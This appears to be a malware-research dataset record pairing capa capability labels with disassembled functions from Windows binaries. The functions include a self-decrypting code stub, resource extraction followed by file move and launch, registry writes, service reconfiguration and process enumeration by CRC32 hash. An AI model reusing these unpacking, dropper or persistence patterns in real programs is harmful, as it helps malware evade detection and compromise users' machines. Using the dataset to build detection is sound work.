joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41933f
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x41c8c8
call fcn.00419618
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
or edi, 0xffffffff
mov dword [ebp - 4], edi
cmp word [0x400000], 0x5a4d
jne 0x419393
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x419393
movzx ecx, word [eax + 0x400018]
cmp ecx, 0x10b
je 0x4193ab
cmp ecx, 0x20b
je 0x419398
mov dword [ebp - 0x1c], ebx
jmp 0x4193c2
cmp dword [eax + 0x400084], 0xe
jbe 0x419393
xor ecx, ecx
cmp dword [eax + 0x4000f8], ebx
jmp 0x4193bc
cmp dword [eax + 0x400074], 0xe
jbe 0x419393
xor ecx, ecx
cmp dword [eax + 0x4000e8], ebx
setne cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 1
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
mov dword [0x422ae8], edi
mov dword [0x422aec], edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x420acc]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x420ac8]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x422ae4], eax
call fcn.00419614
cmp dword [0x41e640], ebx
jne 0x41941f
push fcn.00419614
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.00419602
push 0x41a408
push 0x41a404
call sub.msvcrt.dll__initterm
mov eax, dword [0x420ac4]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x420ac0]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x41a400
push 0x41a394
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp byte [eax], 0x22
jne 0x4194aa
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x41948a
cmp cl, 0x22
jne 0x41947b
cmp byte [eax], 0x22
jne 0x419493
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x41949e
cmp cl, 0x20
jbe 0x41948f
test byte [ebp - 0x54], 1
je 0x4194b5
movzx ecx, word [ebp - 0x50]
jmp 0x4194b8
cmp byte [eax], 0x20
jbe 0x419493
inc eax
mov dword [ebp - 0x20], eax
jmp 0x4194aa
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call fcn.00406f63
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x4194d6
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], edi
jmp 0x419512
mov eax, esi
jmp 0x419526
call fcn.00419653
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4010c0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x42c520]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
sub ecx, ecx
mov al, 1
push edi
lea ebx, [ebx]
movzx edx, al
mov byte [ebp + edx - 0x104], cl
mov dl, al
and dl, 0x80
mov byte [ebp + ecx - 0x204], al
inc ecx
neg dl
sbb dl, dl
mov bl, al
and dl, 0x1b
add bl, bl
xor dl, bl
xor al, dl
cmp ecx, 0x100
jl 0x4010e0
mov al, 1
mov ecx, 0x466360
movzx edx, al
shl edx, 0x18
mov dword [ecx], edx
mov dl, al
and dl, 0x80
add ecx, 4
neg dl
sbb dl, dl
and dl, 0x1b
add al, al
xor al, dl
cmp ecx, 0x466388
jl 0x401115
mov dword [0x465760], 0x63
mov dword [0x46892c], 0
nop
nop
push 1
pop edx
jmp 0x401160
movzx eax, byte [ebp + edx - 0x104]
lea ecx, [ebp - 0x105]
sub ecx, eax
mov cl, byte [ecx]
mov al, cl
rol al, 1
xor cl, al
rol al, 1
xor cl, al
rol al, 1
xor cl, al
rol al, 1
xor al, cl
xor al, 0x63
movzx eax, al
mov dword [edx*4 + 0x465760], eax
mov dword [eax*4 + 0x4687a0], edx
inc edx
cmp edx, 0x100
jl 0x401160
xor ecx, ecx
mov dl, byte [ecx + 0x465760]
mov al, dl
and al, 0x80
neg al
sbb al, al
and al, 0x1b
mov bl, dl
add bl, bl
xor al, bl
movzx esi, al
movzx edx, dl
mov eax, esi
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, esi
xor eax, edx
mov dword [ecx + 0x4683a0], eax
ror eax, 8
mov dword [ecx + 0x467fa0], eax
ror eax, 8
mov dword [ecx + 0x467ba0], eax
ror eax, 8
mov dword [ecx + 0x4677a0], eax
mov al, byte [ecx + 0x4687a0]
test al, al
je 0x40126f
movzx edx, al
movzx esi, byte [ebp + edx - 0x104]
movzx eax, byte [ebp - 0xf9]
add eax, esi
cdq
mov edi, 0xff
idiv edi
movzx eax, byte [ebp + edx - 0x204]
mov dword [ebp - 0x208], eax
movzx eax, byte [ebp - 0xf7]
add eax, esi
cdq
idiv edi
movzx eax, byte [ebp - 0xfb]
add eax, esi
movzx ebx, byte [ebp + edx - 0x204]
cdq
idiv edi
movzx eax, byte [ebp - 0xf6]
add eax, esi
mov esi, 0xff
movzx edi, byte [ebp + edx - 0x204]
cdq
idiv esi
movzx eax, byte [ebp + edx - 0x204]
mov edx, dword [ebp - 0x208]
jmp 0x401277
xor edx, edx
sub ebx, ebx
xor edi, edi
sub eax, eax
shl eax, 8
xor eax, edi
shl eax, 8
xor eax, ebx
shl eax, 8
xor eax, edx
mov dword [ecx + 0x4673a0], eax
ror eax, 8
mov dword [ecx + 0x466fa0], eax
ror eax, 8
mov dword [ecx + 0x465f60], eax
ror eax, 8
mov dword [ecx + 0x465b60], eax
add ecx, 4
cmp ecx, 0x400
jl 0x4011a2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412178
mov esp, ebp
pop ebp
ret
Function at 0x405ee0
Capabilities:
Get token membership

Disassembly:
push ebp
push esp
pop ebp
push 0xfffffffffffffffe
push 0x429d08
push 0x4182c0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x42c520]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
sub ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], ebx
mov word [ebp - 0x20], 0x500
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x28], eax
cmp eax, ebx
je 0x405f7b
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x405f61
mov dword [ebp - 0x28], ebx
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x28]
jmp 0x405f7b
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00412178
push ebp
pop esp
pop ebp
ret
Function at 0x407000
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
mov ecx, 0x463600
call fcn.004110d7
push eax
pop ebx
mov dword [ebp - 4], 1
or ebx, ebx
je 0x4070b4
or esi, esi
jne 0x4070b4
mov eax, dword [ebp + 8]
shr eax, 4
inc eax
push esi
movzx ecx, ax
push ecx
push 6
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceExW]
push eax
pop edi
or edi, edi
je 0x407098
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x407092
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
pop esi
test esi, esi
je 0x407092
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ecx, dword [ebp + 8]
add eax, esi
and ecx, 0xf
jbe 0x407081
cmp esi, eax
jae 0x407085
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x407073
cmp esi, eax
jb 0x407089
xor eax, eax
jmp 0x407092
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
mov esi, eax
or eax, eax
jne 0x4070bd
mov edi, dword [ebp - 4]
push edi
mov ecx, 0x463600
call fcn.004110d7
push eax
pop ebx
inc edi
mov dword [ebp - 4], edi
or ebx, ebx
jne 0x407025
pop edi
pop esi
sub eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
push ebx
pop eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4071c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
push esp
pop ebp
push edi
push eax
pop edi
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
or eax, eax
jne 0x4071d8
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov esi, eax
or esi, esi
je 0x40720a
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x407206
cmp esi, eax
jae 0x40720a
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4071f8
cmp esi, eax
jb 0x407210
pop esi
sub eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x407b40
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x429e28
push 0x4182c0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
cmp eax, ecx
je 0x407c72
push eax
pop edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], ebx
mov edx, ecx
sub edx, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], 0x48
cmp dword [ebp - 0x28], edx
jg 0x407bd6
mov esi, edi
mov eax, str.03007495_09bb_4334_987a_ae7586bca024_9a321bc78c02af107e2390662f9a5441_
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov ebx, 0x428bb0
cmp eax, ebx
jne 0x407bc0
xor ebx, ebx
jmp 0x407bd8
mov bl, byte [esi]
cmp bl, byte [eax]
je 0x407bd2
inc edi
mov dword [ebp - 0x2c], edi
dec edx
mov dword [ebp - 0x24], edx
sub ebx, ebx
jmp 0x407ba1
inc esi
inc eax
jmp 0x407bad
push ecx
pop edi
mov esi, 0x48
mov eax, str.03007495_09bb_4334_987a_ae7586bca024_9a321bc78c02af107e2390662f9a5441_
mov ecx, edi
cmp esi, 4
jb 0x407bfe
mov edx, dword [ecx]
cmp edx, dword [eax]
jne 0x407c72
sub esi, 4
add eax, 4
add ecx, 4
jmp 0x407be4
cmp esi, ebx
je 0x407c22
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407c72
cmp esi, 1
jbe 0x407c22
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407c72
cmp esi, 2
jbe 0x407c22
mov al, byte [eax + 2]
cmp al, byte [ecx + 2]
jne 0x407c72
push 0xf0000040
push 1
push ebx
push ebx
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
or eax, eax
je 0x407c72
push 0x48
nop
nop
pop eax
mov eax, dword [edi + eax]
push edi
push eax
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x407c72
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [ebp - 0x1c], ebx
jmp 0x407c72
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x407c88
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x4095f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423d88
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x18]
push 0x462f88
sub ebx, ebx
push eax
xor esi, esi
mov dword [ebp - 4], ebx
call fcn.00409a90
add esp, 8
mov edi, dword [ebp - 0x18]
cmp dword [edi - 0xc], ebx
je 0x4096f6
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
lea ebx, [ebp - 0x24]
mov byte [ebp - 4], 2
call fcn.004097d0
mov ebx, dword [ebp - 0x24]
test eax, eax
jne 0x4096e9
or ebx, ebx
je 0x4096f4
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
push ecx
push str.__s_
lea edi, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00406f60
mov edi, dword [ebp - 0x14]
push edi
pop eax
add esp, 8
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4096a0
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
mov eax, dword [ebp + 8]
push edx
push edi
push 2
push 0
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb esi, esi
lea eax, [edi - 0x10]
inc esi
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
or edx, edx
jg 0x4096e9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test ebx, ebx
je 0x4096f4
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub ebx, ebx
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40973c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x409890
Capabilities:
Modify service
Start service

Disassembly:
push ebp
push esp
pop ebp
push 0xffffffffffffffff
push 0x423d50
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x20]
xor esi, esi
push 0x42d85c
sub ebx, ebx
push eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], esi
call fcn.00409a90
add esp, 8
mov ecx, dword [ebp - 0x20]
cmp dword [ecx - 0xc], esi
je 0x4099ba
push 5
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, esi
je 0x4099ba
mov edx, dword [ebp - 0x20]
push 0x17
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push eax
pop ebx
mov dword [ebp - 0x24], eax
cmp ebx, esi
je 0x4099b0
lea eax, [ebp - 0x18]
push eax
push esi
push esi
mov dword [ebp - 0x18], esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
push ebx
call esi
mov eax, dword [ebp - 0x18]
sub ecx, ecx
cmp eax, ecx
je 0x40999c
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
push eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0x11]
lea edi, [ebp - 0x34]
mov byte [ebp - 0x11], cl
call fcn.004077e0
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x34]
sub eax, edi
cmp eax, dword [ebp - 0x18]
jne 0x40998f
or edi, edi
je 0x40998f
lea ecx, [ebp - 0x18]
push ecx
push eax
push edi
push ebx
call esi
or eax, eax
je 0x40998f
cmp dword [edi + 4], 2
je 0x40998f
mov edx, dword [edi + 8]
mov eax, dword [edi]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push 2
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea esi, [ebp - 0x34]
call fcn.004077b0
mov edi, dword [ebp - 0x1c]
xor ecx, ecx
push ecx
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sub ebx, ebx
xor esi, esi
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4099ea
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x4099ea
cmp ebx, esi
je 0x4099f5
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x409a03
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a710
Capabilities:
Enumerate processes
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423ca6
mov eax, dword fs:[0]
push eax
sub esp, 0x2c4
mov eax, dword [0x42c520]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
sub esi, esi
push esi
push 2
mov dword [ebp - 0x2c8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x2d0], ebx
cmp ebx, esi
je 0x40a8b3
cmp ebx, 0xffffffff
je 0x40a8b3
push 0x228
lea eax, [ebp - 0x2c0]
push esi
push eax
call fcn.004142b0
add esp, 0xc
lea ecx, [ebp - 0x2c4]
push ecx
push ebx
mov dword [ebp - 0x2c4], 0x22c
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
or eax, eax
je 0x40a8a1
lea eax, [ebp - 0x2a0]
push eax
lea ecx, [ebp - 0x98]
lea edx, [ebp - 0x94]
push ecx
mov dword [ebp - 0x98], edx
call fcn.0040e810
lea edx, [ebp - 0x2cc]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x98]
push edx
call fcn.0040cb20
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x98]
lea ecx, [ebp - 0x94]
cmp eax, ecx
je 0x40a7f5
push eax
call fcn.0041261d
add esp, 4
lea edi, [ebp - 0x2cc]
call fcn.0040cbc0
mov esi, dword [ebp - 0x2cc]
mov eax, esi
lea edx, [eax + 1]
jmp 0x40a810
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a810
sub eax, edx
push esi
pop edx
or ecx, 0xffffffff
push edx
pop edx
push eax
pop edi
dec eax
test edi, edi
je 0x40a83f
movzx edi, byte [edx]
xor edi, ecx
and edi, 0xff
shr ecx, 8
xor ecx, dword [edi*4 + 0x428648]
inc edx
jmp 0x40a820
not ecx
mov byte [ebp - 4], 0
lea eax, [esi - 0x10]
cmp dword [ebp + 8], ecx
jne 0x40a872
mov dword [ebp - 0x2c8], 1
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
or ecx, ecx
jg 0x40a8a1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40a8a1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a88b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x2c4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x40a7a3
test ebx, ebx
je 0x40a8b3
cmp ebx, 0xffffffff
je 0x40a8b3
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
sub ebx, ebx
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
je 0x40a8ca
cmp ebx, 0xffffffff
je 0x40a8ca
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00412178
push ebp
pop esp
pop ebp
ret
Function at 0x40af30
Capabilities:
Check if file exists
Create process on windows
Delete file
Extract resource via kernel32 functions
Move file

Disassembly:
push ebp
push esp
pop ebp
push 0xffffffffffffffff
push 0x424268
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
sub ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
cmp edi, ebx
je 0x40b119
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40af73
sub eax, edx
sar eax, 1
je 0x40b119
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40b119
push 0xa
push 0x65
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
push eax
pop esi
cmp esi, ebx
je 0x40b10b
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push eax
pop edi
cmp edi, ebx
je 0x40b119
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, ebx
je 0x40b119
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
cmp eax, ebx
je 0x40b119
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
lea ecx, [ebp - 0x30]
push ecx
push edi
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00407730
add esp, 8
cmp eax, ebx
je 0x40b0f2
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
cmp edi, esi
je 0x40b0f2
mov edx, dword [ebp + 8]
push 0x428b58
push edx
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.00413139
add esp, 0xc
or eax, eax
jne 0x40b0f2
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x40b0f2
push eax
sub esi, edi
push esi
push 1
push edi
call fcn.004132d7
mov edx, dword [ebp - 0x1c]
sub ecx, ecx
cmp esi, eax
sete cl
push edx
mov esi, ecx
call fcn.004133be
add esp, 0x14
cmp esi, ebx
je 0x40b0f2
lea esi, [ebp - 0x20]
call fcn.00406940
push 0x6b
mov byte [ebp - 4], 2
call fcn.00407000
add esp, 4
cmp eax, ebx
je 0x40b0ea
push eax
push 0x6b
pop eax
nop
nop
push esi
pop edi
call fcn.00406b10
cmp eax, ebx
je 0x40b0ea
mov edi, dword [ebp - 0x20]
cmp dword [edi - 0xc], ebx
je 0x40b0ea
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call fcn.00406960
lea esi, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.0040d8b0
push edi
pop eax
call fcn.0040d790
cmp eax, ebx
je 0x40b0e2
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
test eax, eax
je 0x40b0e2
mov eax, dword [ebp - 0x14]
push 1
push ebx
push ebx
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x18], 1
lea eax, [ebp - 0x14]
call fcn.0040e440
lea eax, [ebp - 0x20]
call fcn.0040e440
lea esi, [ebp - 0x30]
call fcn.004077b0
jmp 0x40b119
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x40b6c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423fc0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
lea eax, [ebp - 0x18]
push 0x4626e0
xor edi, edi
push eax
sub esi, esi
mov dword [ebp - 4], edi
call fcn.00409a90
mov ecx, dword [ebp - 0x18]
add esp, 8
cmp dword [ecx - 0xc], edi
je 0x40b795
cmp edi, 2
jge 0x40b795
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x14]
push edx
push 0
xor eax, eax
push 2
test edi, edi
push 0
setne al
push 0
push 0
push ecx
mov dword [ebp - 0x14], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
or eax, eax
jne 0x40b78c
mov esi, dword [ebp - 0x14]
push esi
pop ecx
mov dword [ebp - 0x28], ecx
or ebx, ebx
jne 0x40b758
lea eax, [ebx + 0xd]
jmp 0x40b778
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push ebx
push 1
push 0
push 0x428d10
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x28]
xor edx, edx
test eax, eax
sete dl
mov esi, edx
test ecx, ecx
je 0x40b78c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x18]
inc edi
jmp 0x40b711
lea eax, [ecx - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
or edx, edx
jg 0x40b7d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret